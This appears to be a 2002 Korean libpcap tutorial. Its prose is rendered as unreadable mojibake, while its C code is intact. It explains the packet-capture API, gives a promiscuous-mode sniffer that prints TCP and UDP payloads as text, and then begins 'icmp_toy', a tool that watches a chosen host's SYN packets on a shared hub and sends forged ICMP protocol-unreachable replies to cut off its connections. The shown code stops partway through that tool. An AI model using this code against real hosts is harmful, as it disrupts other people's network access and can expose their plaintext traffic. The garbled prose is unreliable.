Libpcap »ç¿ëÇϱâ libpcapÀÇ Á¤ÀÇ¿Í »ç¿ë¹ý, ÀÀ¿ë µîÀ» Á¦½ÃÇÑ´Ù.
고친 과정 |
---|
고침 0.4 | 2002-01-01 | 고친이 Kwang-Min Noh | Text ¹®¼¸¦ DocBookÀ¸·Î ¼öÁ¤ ¹× ÀÀ¿ë ºÎºÐ Ãß°¡ |
ÆÐŶÀ» ĸÃÄÇϱâ À§ÇÑ µµ±¸·Î´Â BPF(Berkeley Packet Filter), DLPI, NIT, SNOOP, SNIT, SOCK_PACKET,
LSF(Linux Socket Filter), drainµî °¢ ¿î¿µÃ¼Á¦º°·Î ´Ù¾çÇÑ µµ±¸°¡ ÀÖ´Ù.
ÇÏÁö¸¸ ¿©·¯ºÐÀÌ ¿î¿µÃ¼Á¦º°·Î ÆÐŶÀ» ĸÃÄÇϱâ À§ÇÑ À§ÇÑ Äڵ带 º°µµ·Î
±¸¼ºÇØ¾ß ÇÑ´Ù¸é ½ÃÀÛÇϱ⵵ Àü¿¡ Æ÷±âÇÒÁöµµ ¸ð¸¥´Ù. ÇÏÁö¸¸ ÀÌ ¸ðµç
µµ±¸µéÀ» ¼ö¿ëÇÏ´Â PortableÇÑ API°¡ Àִµ¥ ÀÌ°ÍÀÌ ¹Ù·Î libpcapÀÌ´Ù.
¶óÀ̺귯¸® »ç¿ëÀÚ´Â ¿î¿µÃ¼Á¦ÀÇ °¢±â ´Ù¸¥ datalink·ÎÀÇ Á¢±Ù ¹æ¹ý¿¡
»ó°ü¾øÀÌ libpcapÀ» ÀÌ¿ëÇÏ¿© ¼Ò±âÀÇ ¸ñÀûÀ» ´Þ¼ºÇÒ ¼ö ÀÖ´Ù.
libpcapÀ» ÀÌ¿ëÇÑ ´ëÇ¥ÀûÀÎ ÅøÀÌ ¹Ù·Î tcpdumpÀÌ´Ù.
int main(int argc, char *argv[])
{
................
................
if (device == NULL ) {
if ( (device = pcap_lookupdev(ebuf) ) == NULL) {
perror(ebuf);
exit(-1);
}
}
pd = pcap_open_live(device, snaplen, PROMISCUOUS, 1000, ebuf);
if(pd == NULL) {
perror(ebuf);
exit(-1);
}
i = pcap_snapshot(pd);
if(snaplen < i) {
perror(ebuf);
exit(-1);
}
if(pcap_lookupnet(device, &localnet, &netmask, ebuf) < 0) {
perror(ebuf);
exit(-1);
}
setuid(getuid());
if(pcap_compile(pd, &fcode, filter_rule, 0, netmask) < 0) {
perror(ebuf);
exit(-1);
}
if(pcap_setfilter(pd, &fcode) < 0) {
perror(ebuf);
exit(-1);
}
fflush(stderr);
printer = lookup_printer(pcap_datalink(pd));
pcap_userdata = 0;
if(pcap_loop(pd, packetcnt, printer, pcap_userdata) < 0) {
perror("pcap_loop error");
exit(-1);
}
pcap_close(pd);
exit(0);
}
|
device = pcap_lookupdev(ebuf);
³×Æ®¿÷ µð¹ÙÀ̽º¸¦ °¡Á®¿À´Â ÇÔ¼öÀÔ´Ï´Ù. ÆÐŶÀ» ÀâÀ¸·Á¸é ³×Æ®¿÷ µð¹ÙÀ̽º¸¦ ÁöÁ¤ÇØ¾ß °ÚÁÒ?
°¡´ÉÇÑ ´ÙºñÀ̽ºÁß °¡Àå ¹øÈ£°¡ ³·Àº µð¹ÙÀ̽º¸¦ °¡Á®¿À°Ô µË´Ï´Ù. ¸®´ª½º¶ó¸é eth0ÀÌ°ÚÁÒ...
´Ù¸¥ µð¹ÙÀ̽º¸¦ ÅëÇØ ÆÐŶÀ» ĸÃÄÇÏ·Á¸é ÀÌ ÇÔ¼ö¸¦ »ç¿ëÇÏÁö ¾Ê°í ÇÁ·Î±×·¥ÀÇ ÀÔ·ÂÀ¸·Î
µð¹ÙÀ̽º¸íÀ» °¡Á®¿À¸é µË´Ï´Ù.
pd = pcap_open_live(device, snaplen, PROMISCUOUS, 1000, ebuf);
À§ ÇÔ¼ö´Â ½ÇÁ¦ ±â±â¸¦ ¿¾îÁÖ´Â ±â´ÉÀ» ÇÏ´Â °ÍÀ¸·Î snaplen´Â ÆÐŶ´ç ÀúÀåÇÒ
¹ÙÀ̽º ¼ö, ½ÇÁ¦ datalink°èÃþºÎÅÍ ÆÐŶÀÇ Å©±â¸¦ °è»êÇÏ¿© ¿øÇÏ´Â ºÎºÐ¸¸À»
¾ò¾î¿À¸é µÇ´Â °ÍÀÔ´Ï´Ù. Çì´õÁ¤º¸¸¸À» º¸°í½ÍÀºµ¥ ¾µµ¥¾øÀÌ µ¥ÀÌŸ±îÁö ¹ÞÀ»
ÇÊ¿ä´Â ¾ø°ÚÁÒ. µ¥ÀÌÅͱîÁö º¸°í½ÍÀ¸¸é snaplen¸¦ Å©°Ô ÇÏ¸é µË´Ï´Ù.
PROMISCUOUS´Â 1ÀÌ¸ç ³×Æ®¿÷ µð¹ÙÀ̽º¿¡ ¿À´Â ¸ðµç ÆÐŶÀ» ¹Þ°Ú´Ù´Â
ÀǹÌÀÔ´Ï´Ù. ÀÌ ¸ðµå¸¦ ÀÚ¼¼ÇÏ°Ô ¼³¸íÇϸé EthernetÀº ¸ðµç ÆÐŶÀÌ broadcastingµÇ¸ç
ÀÏ´Ü ¸ðµç ³×Æ®¿÷ µð¹ÙÀ̽º´Â µ¿ÀÏ ³×Æ®¿÷³»ÀÇ ´Ù¸¥ È£½ºÆ®ÀÇ ÆÐŶµµ ÀÏ´Ü Á¢ÇÏ°Ô
µË´Ï´Ù. ±×·¯³ª, ³×Æ®¿÷ µð¹ÙÀ̽º´Â ±âº»ÀûÀ¸·Î ÀÚ½ÅÀÇ ÆÐŶ¸¸À»
¹Þ°Ô²û µÇ¾îÀÖ½À´Ï´Ù. ±×·¯¹Ç·Î ´Ù¸¥ È£½ºÆ®ÀÇ ÆÐŶÀº ¹ö¸®°Ô µÇ´Â °ÍÀÔ´Ï´Ù.
±×·¯³ª promiscuous¸ðµå·Î µð¹ÙÀ̽º ¸ðµå¸¦ ¹Ù²Ù°Ô µÇ¸é ¸ðµç ÆÐŶÀ» ¹Þ¾ÆµéÀÌ°Ô
µÇ´Â °ÍÀÔ´Ï´Ù. ¸ðµç ³×Æ®¿öÅ© ¸ð´ÏÅ͸µ ÇÁ·Î±×·¥µéÀº ¸ðµÎ ÀÌ ¸ðµå¸¦ »ç¿ëÇÏ°Ô µË´Ï´Ù.
¼¼ ¹ø° ÀÎÀÚ´Â ÆÐŶÀÌ ¹öÆÛ·Î Àü´ÞµÉ ¶§ ¹Ù·Î Àü´ÞµÇ´Â °ÍÀÌ ¾Æ´Ï¶ó
À§¿¡¼ ¸í½ÃÇÑ ½Ã°£À» ³Ñ°åÀ» ¶§³ª ¹öÆÛ°¡ ´Ù ä¿öÁ³À» ¶§ ÀÀ¿ëÇÁ·Î±×·¥À¸·Î
Àü´ÞµÇ´Â °ÍÀÔ´Ï´Ù.
pcap_lookupnet(device, &localnet, &netmask, ebuf)
¿·ÁÁø ÆÐŶ ĸÃÄ µð¹ÙÀ̽º¿¡ ³×Æ®¿÷ ÁÖ¼Ò¿Í ¼ºê³Ý ¸¶½ºÅ©¸¦ ³Ñ°ÜÁÝ´Ï´Ù.
pcap_compile(pd, &fcode, filter_rule, 0, netmask)
Á¤ÇØÁø ÇÊÅÍ·ê¿¡ ÀÇÇØ ÇÊÅÍ ÇÁ·Î±×·¥À» ÄÄÆÄÀÏÇÏ°Ô µÇ´Âµ¥ ¿ì¸®°¡ ¿øÇÏ´Â ÆÐŶÀº
ÇÊÅÍ·êÀ» ÁÖ¾î¾ß¸¸ ¿øÇÏ´Â ÆÐŶ¸¸À» ¾òÀ» ¼ö ÀÖ½À´Ï´Ù. ½ÇÁ¦ tcpdump¿¡¼ »ç¿ëÇÏ´Â
ÇÊÅÍ·êÀÌ ¿©±â¿¡¼ ¾²ÀÔ´Ï´Ù. ¿¹¸¦ µé¸é "tcp port 80" ÀÔ´Ï´Ù.
ÀÚ¼¼ÇÑ ÇÊÅÍ·ê¿¡ ´ëÇÑ ¼³¸íÀº tcpdumpÀÇ ¸Þ´º¾óÀ» º¸¸é ¾Ë ¼ö ÀÖ½À´Ï´Ù.
pcap_setfilter(pd, &fcode)
À§´Â ¾Õ¼ ÄÄÆÄÀÏÇÑ ÇÊÅÍ ÇÁ·Î±×·¥À» ÁöÁ¤ÇØ Áִµ¥ »ç¿ëµË´Ï´Ù.
ÀÌ·¸°Ô ÇÏ¿© ¿øÇÏ´Â ÆÐŶÀ» ¾òÀ» Áغñ¸¦ ÇÏ°Ô µË´Ï´Ù.
printer = lookup_printer(pcap_datalink(pd));
À§´Â ÆÐŶ ĸÃÄ µð¹ÙÀ̽ºÀÇ datalink°èÃþÀÇ Á¾·ù¸¦ ³Ñ°Ü ¹Þ¾Æ ÀÌ¿¡ µû¸¥ ÀûÀýÇÑ
ÇÔ¼öÆ÷ÀÎÅ͸¦ ÇÒ´çÇÏ°Ô µË´Ï´Ù.
pcap_loop(pd, packetcnt, printer, pcap_userdata)
½ÇÁ¦ ÆÐŶÀ» Àâ¾Æ¼ ½ÇÇàÇÒ ÇÔ¼ö¸¦ ÁöÁ¤ÇØ ÁÖ´Â ÇÔ¼öÀÔ´Ï´Ù.
packetcntÀÇ ¼ö¸¸Å ÆÐŶÀ» Àâ¾Æ¼ ÀâÀ» ¶§ ¸¶´Ù ÇØ´ç ÆÐŶÀ» printer°¡ Æ÷ÀÎÅÍÇÏ´Â
ÇÔ¼ö¿¡°Ô Àü´ÞÇÏ°í ÇÔ¼ö¸¦ ¼öÇàÇÏ°Ô µË´Ï´Ù.
packetcnt¸¦ 0À¸·Î ÁöÁ¤ÇÏ¸é ¹«ÇÑ´ë·Î ÇÔ¼ö¸¦ ½ÇÇàÇÕ´Ï´Ù.
ÇÔ¼öÇü Æ÷ÀÎÅ͸¦ »ç¿ëÇÏÁö ¾Ê°í ÇÔ¼ö¸¦ È£ÃâÇÒ ¶§¸¶´Ù ÆÐŶÀ» ¸®ÅÏÇØÁÖ´Â ÇÔ¼ö·Î
¾ÕÀÇ pcap_datalink()¿Í pcap_loop()¸¦ ´ëüÇÒ ¼ö ÀÖ½À´Ï´Ù.
»ç¿ë¿¹´Â ÀÀ¿ëºÎºÐ4절¿¡¼ Âü°íÇϽʽÿÀ.
½ÇÁ¦ libpcapÀ» ÀÌ¿ëÇÏ´Â ¸¹Àº ÀÀ¿ëÀÌ ÀÖ½À´Ï´Ù. À§¿¡¼ ¾ð±ÞÇÑ tcpdump°¡ ±× ´ëÇ¥ÀûÀÎ
¿¹À̸ç, ÀÌ°Í ¿Ü¿¡ ¸¹Àº ³×Æ®¿öÅ© ¸ð´ÏÅ͸µ Åø, °ø°³ ³×Æ®¿öÅ© IDS(Intrusion Detection System)
ÀÎ Snort, ÆÐŶÀ» ĸÃÄÇÏ´Â ¸¹Àº ÀÀ¿ëµéÀÌ libpcapÀ» ÀÌ¿ëÇÏ¿© ´Ù¾çÇÑ OS¿¡ Æ÷ÆõǾî
ÀÖ½À´Ï´Ù. www.tcpdump.org/related.html¿¡ °¡¸é ÀÀ¿ëÀÇ ¿¹µéÀ» º¼ ¼ö ÀÖ½À´Ï´Ù.
±×·³ libpcapÀ» ÀÌ¿ëÇÑ °£´ÜÇÑ ¿¹¸¦ º¸ÀÌ°Ú½À´Ï´Ù.
¾Æ·¡ ¼Ò½º´Â ip±â¹Ý tcp, udp, icmpÀÇ ÆÐŶÀ» Àâ¾Æ¼ °¢ ÇÁ·ÎÅäÄÝ Çʵ庰·Î
ÇÁ¸°Æ®ÇØÁÖ´Â ¼Ò½ºÀÔ´Ï´Ù.
¸ÕÀú IP, TCP, UDPÀÇ °¢ HEADER FORMATÀ» ÂüÁ¶ÇϽñ⠹ٶø´Ï´Ù.
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Internet Datagram Header
<RFC791>
|
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
TCP Header Format
<RFC793>
|
0 7 8 15 16 23 24 31
+--------+--------+--------+--------+
| Source | Destination |
| Port | Port |
+--------+--------+--------+--------+
| | |
| Length | Checksum |
+--------+--------+--------+--------+
|
| data octets ...
+---------------- ...
User Datagram Header Format
<RFC768>
|
#include <sys/time.h>
#include <netinet/in.h>
#include <net/ethernet.h>
#include <pcap/pcap.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#define PROMISCUOUS 1
struct iphdr *iph;
struct tcphdr *tcph;
struct udphdr *udph;
struct icmp *icmph;
static pcap_t *pd;
int sockfd;
int pflag;
int rflag;
int eflag;
int cflag;
int chcnt;
char *device, *filter_rule;
void packet_analysis(unsigned char *, const struct pcap_pkthdr *,
const unsigned char *);
struct printer {
pcap_handler f;
int type;
};
/* datalink type¿¡ µû¸¥ ºÒ¸®¾îÁú ÇÔ¼öµéÀÇ
¸ñ·ÏµéÀ» °®´Â ±¸Á¶Ã¼
Data-link level type codes.
#define DLT_NULL 0 no link-layer encapsulation
#define DLT_EN10MB 1 Ethernet (10Mb)
#define DLT_EN3MB 2 Experimental Ethernet (3Mb)
#define DLT_AX25 3 Amateur Radio AX.25
#define DLT_PRONET 4 Proteon ProNET Token Ring
#define DLT_CHAOS 5 Chaos
#define DLT_IEEE802 6 IEEE 802 Networks
#define DLT_ARCNET 7 ARCNET
#define DLT_SLIP 8 Serial Line IP
#define DLT_PPP 9 Point-to-point Protocol
#define DLT_FDDI 10 FDDI
#define DLT_ATM_RFC1483 11 LLC/SNAP encapsulated atm
#define DLT_RAW 12 raw IP
#define DLT_SLIP_BSDOS 13 BSD/OS Serial Line IP
#define DLT_PPP_BSDOS 14 BSD/OS Point-to-point Protocol
bpf.h ¶ó´Â Çì´õÈÀÏ¿¡ À§¿Í °°Àº ³»¿ëÀ¸·Î Á¤ÀǵǾî ÀÖ´Ù. */
static struct printer printers[] = {
{ packet_analysis, DLT_IEEE802 },
{ packet_analysis, DLT_EN10MB },
{ NULL, 0 },
};
/* datalink type¿¡ µû¶ó ¼öÇàµÉ ÇÔ¼ö¸¦ °áÁ¤ÇÏ°Ô µÈ´Ù.
ÀÌ´Â pcap_handler¶ó´Â ÇÔ¼öÇü Æ÷ÀÎÅÍÀÇ °ªÀ¸·Î ´ëÀԵȴÙ. */
static pcap_handler lookup_printer(int type)
{
struct printer *p;
for(p=printers; p->f; ++p)
if(type == p->type)
return p->f;
perror("unknown data link type");
}
/* pcap_loop()¿¡ ÀÇÇØ ÆÐŶÀ» ÀâÀ» ¶§¸¶´Ù ºÒ·ÁÁö´Â ÇÔ¼ö
pcap_handler°¡ ÀÌ ÇÔ¼ö¸¦ Æ÷ÀÎÅÍÇÏ°í Àֱ⠶§¹®ÀÌ´Ù */
void packet_analysis(unsigned char *user, const struct pcap_pkthdr *h,
const unsigned char *p)
{
int j, temp;
unsigned int length = h->len;
struct ether_header *ep;
unsigned short ether_type;
unsigned char *tcpdata, *udpdata,*icmpdata, temp_char;
register unsigned int i;
chcnt = 0;
if(rflag) {
while(length--) {
printf("%02x ", *(p++));
if( (++chcnt % 16) == 0 ) printf("\n");
}
fprintf(stdout, "\n");
return;
}
length -= sizeof(struct ether_header);
// ethernet header mapping
ep = (struct ether_header *)p;
// ethernet header 14 bytes¸¦ °Ç³Ê ¶Ú Æ÷ÀÎÅÍ
p += sizeof(struct ether_header);
// datalink type
ether_type = ntohs(ep->ether_type);
printf("\n");
// Ethernet frameÀÌ IEEE802Àΰæ¿ì ether_typeÇʵ尡 ±æÀÌÇʵ尡 µÈ´Ù.
if(ether_type <= 1500) {
;
/*while(length--) {
if(++is_llchdr <= 3) {
fprintf(stdout,"%02x",*p++);
continue;
}
if(++next_line == 16) {
next_line = 0;
printf("\n");
}
printf("%02x",*p++);
}*/
}
else
{
if(eflag) {
printf("\n\n=================== Datalink layer ===================\n");
for(j=0; j<ETH_ALEN; j++) {
printf("%X", ep->ether_shost[j]);
if(j != 5) printf(":");
}
printf(" ------> ");
for(j=0; j<ETH_ALEN; j++){
printf("%X", ep->ether_dhost[j]);
if(j != 5) printf(":");
}
printf("\nether_type -> %x\n", ntohs(ep->ether_type));
}
iph = (struct iphdr *) p;
i = 0;
if (ntohs(ep->ether_type) == ETHERTYPE_IP) { // ip ÆÐŶÀΰ¡?
printf("\n\n=================== IP HEADER ===================\n");
printf("%s -----> ", inet_ntoa(iph->saddr));
printf("%s\n", inet_ntoa(iph->daddr));
printf("Version: %d\n", iph->version);
printf("Herder Length: %d\n", iph->ihl);
printf("Service: %#x\n",iph->tos);
printf("Total Length: %d\n", ntohs(iph->tot_len));
printf("Identification : %d\n", ntohs(iph->id));
printf("Fragment Offset: %d\n", ntohs(iph->frag_off));
printf("Time to Live: %d\n", iph->ttl);
printf("Checksum: %d\n", ntohs(iph->check));
if(iph->protocol == IPPROTO_TCP) {
tcph = (struct tcphdr *) (p + iph->ihl * 4);
// tcp data´Â
tcpdata = (unsigned char *) (p + (iph->ihl*4) + (tcph->doff * 4));
printf("\n\n=================== TCP HEADER ===================\n");
printf("Source Port: %d\n", ntohs(tcph->source));
printf("Destination Port: %d\n", ntohs(tcph->dest));
printf("Sequence Number: %d\n", ntohl(tcph->seq));
printf("Acknowledgement Number: %d\n", ntohl(tcph->ack_seq));
printf("Data Offset: %d\n", tcph->doff);
printf("Window: %d\n", ntohs(tcph->window));
printf("URG:%d ACK:%d PSH:%d RST:%d SYN:%d FIN:%d\n",
tcph->urg, tcph->ack, tcph->psh, tcph->rst,
tcph->syn, tcph->fin, ntohs(tcph->check),
ntohs(tcph->urg_ptr));
printf("\n=================== TCP DATA(HEX) =================\n");
chcnt = 0;
for(temp = (iph->ihl * 4) + (tcph->doff * 4); temp <= ntohs(iph->tot_len) - 1; temp++) {
printf("%02x ", *(tcpdata++));
if( (++chcnt % 16) == 0 ) printf("\n");
}
if (pflag) {
tcpdata = (unsigned char *) (p + (iph->ihl*4) + (tcph->doff * 4));
printf("\n=================== TCP DATA(CHAR) =================\n");
for(temp = (iph->ihl * 4) + (tcph->doff * 4); temp <= ntohs(iph->tot_len) - 1; temp++) {
temp_char = *tcpdata;
if ( (temp_char == 0x0d) && ( *(tcpdata+1) == 0x0a ) ) {
fprintf(stdout,"\n");
tcpdata += 2;
temp++;
continue;
}
temp_char = ( ( temp_char >= ' ' ) && ( temp_char < 0x7f ) )? temp_char : '.';
printf("%c", temp_char);
tcpdata++;
}
}
printf("\n>>>>> End of Data >>>>>\n");
}
else if(iph->protocol == IPPROTO_UDP) {
udph = (struct udphdr *) (p + iph->ihl * 4);
udpdata = (unsigned char *) (p + iph->ihl*4) + 8;
printf("\n==================== UDP HEADER =====================\n");
printf("Source Port : %d\n",ntohs(udph->source));
printf("Destination Port : %d\n", ntohs(udph->dest));
printf("Length : %d\n", ntohs(udph->len));
printf("Checksum : %x\n", ntohs(udph->check));
printf("\n=================== UDP DATA(HEX) ================\n");
chcnt = 0;
for(temp = (iph->ihl*4)+8; temp<=ntohs(iph->tot_len) -1; temp++) {
printf("%02x ", *(udpdata++));
if( (++chcnt % 16) == 0) printf("\n");
}
udpdata = (unsigned char *) (p + iph->ihl*4) + 8;
if(pflag) {
printf("\n=================== UDP DATA(CHAR) ================\n");
for(temp = (iph->ihl*4)+8; temp<=ntohs(iph->tot_len) -1; temp++) {
temp_char = *udpdata;
if ( (temp_char == 0x0d) && ( *(udpdata+1) == 0x0a ) ) {
fprintf(stdout,"\n");
udpdata += 2;
temp++;
continue;
}
temp_char = ( ( temp_char >= ' ' ) && ( temp_char < 0x7f ) )? temp_char : '.';
printf("%c", temp_char);
udpdata++;
}
}
printf("\n>>>>> End of Data >>>>>\n");
}
else if(iph->protocol == IPPROTO_ICMP) {
icmph = (struct icmp *) (p + iph->ihl * 4);
icmpdata = (unsigned char *) (p + iph->ihl*4) + 8;
printf("\n\n=================== ICMP HEADER ===================\n");
printf("Type : %d\n", icmph->icmp_type);
printf("Code : %d\n", icmph->icmp_code);
printf("Checksum : %02x\n", icmph->icmp_cksum);
printf("ID : %d\n", icmph->icmp_id);
printf("Seq : %d\n", icmph->icmp_seq);
printf("\n=================== ICMP DATA(HEX) =================\n");
chcnt = 0;
for(temp = (iph->ihl * 4) + 8; temp <= ntohs(iph->tot_len) - 1; temp++) {
printf("%02x ", *(icmpdata++));
if( (++chcnt % 16) == 0 ) printf("\n");
}
printf("\n>>>>> End of Data >>>>>\n");
}
}
}
}
void sig_int(int sig)
{
printf("Bye!!\n");
pcap_close(pd);
close(sockfd);
exit(0);
}
void usage(void)
{
fprintf(stdout," Usage : noh_pa filter_rule [-pch]\n");
fprintf(stdout," -p : µ¥ÀÌŸ¸¦ ¹®ÀÚ·Î Ãâ·ÂÇÑ´Ù.\n");
fprintf(stdout," -c : ÁÖ¾îÁø ¼ýÀÚ¸¸ÅÀÇ ÆÐŶ¸¸ ´ýÇÁÇÑ´Ù\n");
fprintf(stdout," -e : datalink layer¸¦ Ãâ·ÂÇÑ´Ù.\n");
fprintf(stdout," -r : ÀâÀº ÆÐŶÀ» »ýÀ¸·Î Âï´Â´Ù.\n");
fprintf(stdout," -h : »ç¿ë¹ý\n");
}
int main(int argc, char *argv[])
{
struct bpf_program fcode;
pcap_handler printer;
char ebuf[PCAP_ERRBUF_SIZE];
int c, i, snaplen = 1514, size, packetcnt;
bpf_u_int32 myself, localnet, netmask;
unsigned char *pcap_userdata;
filter_rule = argv[1]; /* example : "src host xxx.xxx.xxx.xxx and tcp port 80" */
signal(SIGINT,sig_int);
opterr = 0;
if(argc-1 < 1) {
usage();
exit(1);
}
while( (c = getopt(argc, argv,"i:c:pher")) != -1) {
switch(c) {
case 'i' :
device = optarg;
break;
case 'p' :
pflag = 1;
break;
case 'c' :
cflag = 1;
packetcnt = atoi(optarg);
if(packetcnt <= 0) {
fprintf(stderr,"invalid number %s",optarg);
exit(1);
}
break;
case 'e' :
eflag = 1;
break;
case 'r' :
rflag = 1;
break;
case 'h' :
usage();
exit(1);
}
}
if (device == NULL ) {
if ( (device = pcap_lookupdev(ebuf) ) == NULL) {
perror(ebuf);
exit(-1);
}
}
fprintf(stdout, "device = %s\n", device);
pd = pcap_open_live(device, snaplen, PROMISCUOUS, 1000, ebuf);
if(pd == NULL) {
perror(ebuf);
exit(-1);
}
i = pcap_snapshot(pd);
if(snaplen < i) {
perror(ebuf);
exit(-1);
}
if(pcap_lookupnet(device, &localnet, &netmask, ebuf) < 0) {
perror(ebuf);
exit(-1);
}
setuid(getuid());
if(pcap_compile(pd, &fcode, filter_rule, 0, netmask) < 0) {
perror(ebuf);
exit(-1);
}
if(pcap_setfilter(pd, &fcode) < 0) {
perror(ebuf);
exit(-1);
}
fflush(stderr);
printer = lookup_printer(pcap_datalink(pd));
pcap_userdata = 0;
if(pcap_loop(pd, packetcnt, printer, pcap_userdata) < 0) {
perror("pcap_loop error");
exit(-1);
}
pcap_close(pd);
exit(0);
}
|
libpcapÀ» ÀÌ¿ëÇÑ °£´ÜÇÑ ÀÀ¿ëÀÇ ¿¹¸¦ º¸À̵µ·Ï ÇÏ°Ú½À´Ï´Ù.
icmp_toy´Â ƯÁ¤ È£½ºÆ®ÀÇ ip address¸¦ ÀÔ·ÂÀ¸·Î ¹Þ¾Æ ±× È£½ºÆ®ÀÇ ¸ðµç Á¢¼ÓÀ»
Â÷´ÜÇØ ¹ö¸®´Â ÇÁ·Î±×·¥À¸·Î ÇØ´ç È£½ºÆ®ÀÇ tcp, syn flag°¡ setµÈ ÆÐŶÀ» libpcapÀ»
ÀÌ¿ëÇÏ¿© ĸÃÄÇÑ ÈÄ ÇØ´ç ÆÐŶ¿¡ ´ëÇÑ icmp protocol unreachable ÆÐŶÀ» ÇØ´ç È£½ºÆ®¿¡°Ô
ÀçÀü¼ÛÇÏ°Ô µË´Ï´Ù.
ÀÔ·ÂÇÑ È£½ºÆ®´Â icmp_toy°¡ ±¸µ¿ÁßÀΠȣ½ºÆ®¿Í °°Àº ³×Æ®¿öÅ©¿¡ ±¸¼ºµÇ¾î ÀÖ°í,
Dummy Hub ȯ°æÀÌ¿©¾ß¸¸ Á¦´ë·Î ÀÛµ¿ÇÏ°Ô µË´Ï´Ù.
icmp packetÀº ¾Æ·¡¿Í °°Àº ±¸Á¶·Î ¸¸µé¾îÁÖ°Ô µË´Ï´Ù.
Destination Unreachable Message
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| unused |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Internet Header + 64 bits of Original Data Datagram |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Type : 3
Code : 2 = protocol unreachable
<RFC792>
|
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <net/ethernet.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/time.h>
#include <pcap.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#define PROMISCUOUS 1
static int nchild = 5;
char target_ip[16];
static pid_t *pids;
static pcap_t *pd;
unsigned short in_cksum (unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
void send_icmp (int sockfd, struct iphdr *iph, struct tcphdr *tcph)
{
char buff[76];
char data[28];
int len;
struct sockaddr send;
struct icmp *icmp;
struct sockaddr_in *willsend;
willsend = (struct sockaddr_in *) &send;
willsend->sin_family = AF_INET;
willsend->sin_addr.s_addr = iph->saddr;
fprintf (stdout, "A player\'s number is (%d) : Shot!! ---<-@ %s \n",
getpid (), target_ip);
icmp = (struct icmp *) buff;
icmp->icmp_type = ICMP_DEST_UNREACH;
icmp->icmp_code = ICMP_PROT_UNREACH;
icmp->icmp_id = 0;
icmp->icmp_seq = 0;
memcpy (data, iph, 20);
memcpy (data + 20, tcph, 8);
memcpy (icmp->icmp_data, data, 28);
len = 8 + 20 + 8;
icmp->icmp_cksum = 0;
icmp->icmp_cksum = in_cksum ((u_short *) icmp, len);
sendto (sockfd, buff, len, 0, &send, sizeof (send));
}
void checkip (struct iphdr *iph, struct tcphdr *tcph)
{
int sockfd;
char source_ip[16];
struct in_addr in;
in.s_addr = iph->saddr;
strncpy (source_ip, inet_ntoa (in), sizeof (source_ip));
